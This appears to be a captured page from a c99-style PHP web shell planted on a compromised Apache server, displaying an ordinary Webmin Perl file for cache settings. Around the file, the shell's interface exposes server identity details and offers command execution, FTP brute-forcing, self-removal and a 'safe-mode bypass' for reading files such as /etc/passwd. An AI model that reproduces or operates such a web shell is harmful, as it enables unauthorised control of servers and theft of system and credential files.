!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/apache/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mod_cache.pl (2.69 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# mod_cache.pl
# Functions that have been moved out of mod_proxy in apache 2.0

sub mod_cache_directives
{
local $rv;
$rv = [ [ 'CacheDefaultExpire', 0, 13.1, 'virtual', 2.0 ],
    [ 'CacheEnable CacheDisable', 1, 13.1, 'virtual', 2.0 ],
#    [ 'CacheIgnoreCacheControl', 0, 13.1, 'virtual', 2.0 ],
#    [ 'CacheIgnoreNoLastMod', 0, 13.1, 'virtual', 2.0 ],
        [ 'CacheLastModifiedFactor', 0, 13.1, 'virtual', 2.0 ],
    [ 'CacheMaxExpire', 0, 13.1, 'virtual', 2.0 ] ];
return &make_directives($rv, $_[0], "mod_cache");
}

require 'cache.pl';

sub edit_CacheEnable_CacheDisable
{
local $rv = "<table border>\n".
        "<tr $tb> <td><b>$text{'cache_enable'}</b></td>\n".
        "<td><b>$text{'cache_type'}</b></td>\n".
        "<td><b>$text{'cache_url'}</b></td> </tr>\n";
local ($c, $i = 0);
foreach $c (@{$_[0]}, @{$_[1]}, { }) {
    $rv .= "<tr $cb>\n";
    $rv .= "<td><select name=CacheEnable_e_$i>\n";
    $rv .= sprintf "<option value=0 %s>&nbsp;\n",
            $c ? "" : "selected";
    $rv .= sprintf "<option value=1 %s>%s\n",
            $c->{'name'} eq 'CacheEnable' ? 'selected' : '',
            $text{'yes'};
    $rv .= sprintf "<option value=2 %s>%s\n",
            $c->{'name'} eq 'CacheDisable' ? 'selected' : '',
            $text{'no'};
    $rv .= "</select></td> <td><select name=CacheEnable_t_$i>\n";
    $rv .= sprintf "<option value=disk %s> %s\n",
            $c->{'words'}->[0] eq 'disk' ? 'selected' : '',
            $text{'cache_disk'};
    $rv .= sprintf "<option value=mem %s> %s\n",
            $c->{'words'}->[0] eq 'mem' ? 'selected' : '',
            $text{'cache_mem'};
    $rv .= "</select></td>\n";
    $rv .= sprintf "<td><input name=CacheEnable_u_$i size=20 value='%s'></td>\n", $c->{'name'} eq 'CacheEnable' ? $c->{'words'}->[1] : $c->{'words'}->[0];
    $rv .= "</tr>\n";
    $i++;
    }
$rv .= "</table>\n";
return (2, $text{'cache_endis'}, $rv);
}
sub save_CacheEnable_CacheDisable
{
local ($i, @en, @dis);
for($i=0; defined($in{"CacheEnable_e_$i"}); $i++) {
    next if (!$in{"CacheEnable_e_$i"});
    $in{"CacheEnable_u_$i"} =~ /^\S+$/ || &error($text{'cache_eurl'});
    if ($in{"CacheEnable_e_$i"} == 1) {
        push(@en, $in{"CacheEnable_t_$i"}." ".$in{"CacheEnable_u_$i"});
        }
    else {
        push(@dis, $in{"CacheEnable_u_$i"});
        }
    }
return ( \@en, \@dis );
}

sub edit_CacheIgnoreCacheControl
{
return (1, $text{'cache_control'},
        &choice_input($_[0]->{'value'}, "CacheIgnoreCacheControl", "off",
                      "$text{'yes'},on", "$text{'no'},off"));
}
sub save_CacheIgnoreCacheControl
{
return &parse_choice("CacheIgnoreCacheControl", "off");
}

sub edit_CacheIgnoreNoLastMod
{
return (1, $text{'cache_lastmod'},
        &choice_input($_[0]->{'value'}, "CacheIgnoreNoLastMod", "off",
                      "$text{'yes'},on", "$text{'no'},off"));
}
sub save_CacheIgnoreNoLastMod
{
return &parse_choice("CacheIgnoreNoLastMod", "off");
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0119 ]--